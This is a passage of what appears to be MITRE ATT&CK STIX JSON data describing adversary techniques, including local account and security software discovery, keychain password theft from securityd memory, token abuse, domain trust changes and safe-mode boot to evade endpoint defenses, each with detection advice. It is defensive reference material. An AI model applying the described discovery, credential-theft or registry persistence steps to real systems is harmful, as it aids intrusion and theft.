and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7","type":"attack-pattern","created":"2017-05-31T21:30:51.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1063","external_id":"T1063"}],"modified":"2020-02-21T21:17:03.347Z","name":"Security Software Discovery","description":"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26","type":"attack-pattern","created":"2020-10-02T16:40:47.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.001","url":"https://attack.mitre.org/techniques/T1592/001"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:32:10.810Z","name":"Hardware","description":"Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Windows","Office 365","SaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Michal Dida, ESET","David Routin"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","type":"attack-pattern","created":"2017-05-31T21:31:01.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1080","url":"https://attack.mitre.org/techniques/T1080"},{"external_id":"CAPEC-562","source_name":"capec","url":"https://capec.mitre.org/data/definitions/562.html"},{"url":"https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html","description":"Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.","source_name":"Retwin Directory Share Pivot"}],"modified":"2021-10-17T14:12:33.188Z","name":"Taint Shared Content","description":"\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Share: Network Share Access","File: File Creation","File: File Modification","Process: Process Creation"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Access to shared folders and content with write permissions"]},{"x_mitre_platforms":["Windows","Azure AD"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Blake Strom, Microsoft 365 Defender"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","type":"attack-pattern","created":"2020-12-28T21:59:02.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1484.002","url":"https://attack.mitre.org/techniques/T1484/002"},{"source_name":"Microsoft - Azure AD Federation","url":"https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed","description":"Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020."},{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."},{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."},{"source_name":"CISA SolarWinds Cloud Detection","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-008a","description":"CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."},{"source_name":"Microsoft - Update or Repair Federated domain","url":"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365","description":"Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."}],"modified":"2021-01-11T18:21:20.213Z","name":"Domain Trust Modification","description":"Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\"</code>, or <code>Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Creation","Command: Command Execution","Active Directory: Active Directory Object Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","type":"attack-pattern","created":"2020-03-16T15:45:17.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1573.001","url":"https://attack.mitre.org/techniques/T1573/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T21:25:37.306Z","name":"Symmetric Cryptography","description":"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Stepanic, Elastic"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","type":"attack-pattern","created":"2020-02-21T21:07:55.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1087.001","url":"https://attack.mitre.org/techniques/T1087/001"},{"source_name":"Elastic - Koadiac Detection with EQL","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."}],"modified":"2021-07-28T18:05:24.567Z","name":"Local Account","description":"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Process: OS API Execution","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1167","url":"https://attack.mitre.org/techniques/T1167"},{"url":"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain","description":"Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.","source_name":"OS X Keychain"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"}],"modified":"2020-02-12T18:56:59.153Z","name":"Securityd Memory","description":"In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","type":"attack-pattern","created":"2020-10-01T01:18:35.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1586.001","url":"https://attack.mitre.org/techniques/T1586/001"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}],"modified":"2021-10-16T17:15:12.169Z","name":"Social Media Accounts","description":"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Persona: Social Media","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["SaaS","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jen Burns, HubSpot","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Shailesh Tiwary (Indian Army)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a","type":"attack-pattern","created":"2019-08-30T12:55:58.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"url":"https://attack.mitre.org/techniques/T1527","external_id":"T1527","source_name":"mitre-attack"},{"description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/","source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"},{"description":"okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.","url":"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen","source_name":"okta"},{"description":"Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens","source_name":"Microsoft Identity Platform Access 2019"},{"description":"Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.","url":"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/","source_name":"Staaldraad Phishing with OAuth 2017"}],"modified":"2021-09-20T16:50:41.832Z","name":"Application Access Token","description":"Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Multi-Factor Authentication","Logon Credentials"],"x_mitre_permissions_required":["User"],"x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jorell Magtibay, National Australia Bank Limited","Kiyohito Yamamoto, RedLark, NTT Communications","Yusuke Kubo, RedLark, NTT Communications"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","type":"attack-pattern","created":"2021-06-23T20:00:27.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.009","url":"https://attack.mitre.org/techniques/T1562/009"},{"source_name":"Microsoft Safe Mode","url":"https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234","description":"Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021."},{"source_name":"Sophos Snatch Ransomware 2019","url":"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/","description":"Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."},{"source_name":"Microsoft bcdedit 2021","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit","description":"Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021."},{"source_name":"CyberArk Labs Safe Mode 2016","url":"https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise","description":"Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."},{"source_name":"Cybereason Nocturnus MedusaLocker 2020","url":"https://www.cybereason.com/blog/medusalocker-ransomware","description":"Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021."},{"source_name":"BleepingComputer REvil 2021","url":"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/","description":"Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021."},{"source_name":"Microsoft Bootcfg","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg","description":"Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021."}],"modified":"2021-08-31T14:51:47.352Z","name":"Safe Mode Boot","description":"Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\\*</code> in front of the \"Startup\" value name: <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]</code> or by adding a key to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and 